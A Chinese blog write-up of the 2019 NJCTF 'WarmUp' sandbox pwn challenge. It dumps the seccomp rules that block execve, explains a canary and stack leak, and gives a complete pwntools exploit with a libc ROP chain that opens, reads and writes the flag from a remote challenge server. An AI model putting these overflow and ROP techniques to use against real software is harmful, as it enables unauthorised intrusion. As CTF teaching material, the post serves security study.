2019 NJCTF WarmUp
一道沙箱题
主函数:
seccom 函数中做了一些沙箱规则,看不懂不要紧,直接使用 seccom 进行 dump 出规则。
参考:https://www.anquanke.com/post/id/186447#h2-15
- 使用方法:
ubuntu@VM-0-3-ubuntu:~/h4lo$ seccomp-tools dump -c ./warm_up
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
很清楚看到这里限制了 execve 函数的调用,那么可以使用 open、read、write 进行读取 flag 的操作,可以参考 pwnable.tw orw 题目。
溢出点
溢出点在下一个函数,这个函数存在 canary 保护,两个溢出点,那么很明显第一个使用覆盖低字节的方法进行泄露出 canary ,第二次构造 rop 即可。
注意点
- 注意这里调用 open 函数时,第一个参数是一个指针类型,不是字符串!!!所以这里将 ‘flag’ 字符串放在栈上之后,还要泄露一次栈地址(前面泄露 canary 时可以一并泄露),然后 read 函数的第一个参数为 3(固定)即可,read 第二个参数放在栈上即可。
系统调用表在 /usr/include/x86_64-linux-gnu/asm/unistd_64.h
中(64 位)
exp
from pwn import *
context.arch="arm64"
#r = process("./warm_up")
r = remote("139.129.76.65", 50007)
elf = ELF("./warm_up")
libc = elf.libc
r.recv()
r.send("A"*0x18+'A')
r.recvuntil("A"*0x19)
canary = u64(r.recv(7).rjust(8,"\x00"))
success("canary: "+ hex(canary))
stack_addr = u64(r.recv(6).ljust(8,"\x00"))
success("stack_addr: " + hex(stack_addr))
payload = ""
payload += "A"*0x18+p64(canary)
payload += "B"*0x8
payload += p64(0x0000000000400B30)
r.send(payload)
sleep(0.2)
r.recv()
r.recv()
r.send('A'*0x40)
r.recvuntil("A"*0x40)
libc_addr = u64(r.recv(6).ljust(8,"\x00"))-0xf0-libc.symbols["__libc_start_main"]
success("libc_addr: " + hex(libc_addr))
r.recv()
payload = "A"*0x18
payload += p64(canary)
payload += "flag\x00\x00\x00\x00"
rop_chain = [
libc_addr+0x0000000000033544, # pop rax ; ret
2,
libc_addr+0x0000000000021102, # pop rdi ; ret
stack_addr-0x18,
libc_addr+0x00000000000202e8, # pop rsi ; ret
0,
libc_addr+0x000000000122198, # syscall
libc_addr+0x0000000000033544,
0,
#libc_addr+0x00000000000348fd, # push rax ; ret
libc_addr+0x0000000000021102, # pop rdi ; ret
3,
libc_addr+0x00000000000202e8, # pop rsi ; ret
libc_addr+libc.symbols['environ']-0xf8,
libc_addr+0x0000000000101ffc, # pop rdx ; pop rbx ; ret
0x40,
0,
libc_addr+0x000000000122198, # syscall
libc_addr+0x0000000000033544,
1,
libc_addr+0x0000000000021102, # pop rdi ; ret
1,
libc_addr+0x00000000000202e8,
libc_addr+libc.symbols['environ']-0xf8,
libc_addr+0x0000000000101ffc, # pop rdx ; pop rbx ; ret
0x40,
0,
libc_addr+0x000000000122198
#elf.plt['exit']
]
#print flat(rop_chain)
payload += flat(rop_chain)
pause()
r.send(payload)
r.interactive()
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 解答了困扰我五年的技术问题
· 为什么说在企业级应用开发中,后端往往是效率杀手?
· 用 C# 插值字符串处理器写一个 sscanf
· Java 中堆内存和栈内存上的数据分布和特点
· 开发中对象命名的一点思考
· DeepSeek 解答了困扰我五年的技术问题。时代确实变了!
· PPT革命!DeepSeek+Kimi=N小时工作5分钟完成?
· What?废柴, 还在本地部署DeepSeek吗?Are you kidding?
· DeepSeek企业级部署实战指南:从服务器选型到Dify私有化落地
· 程序员转型AI:行业分析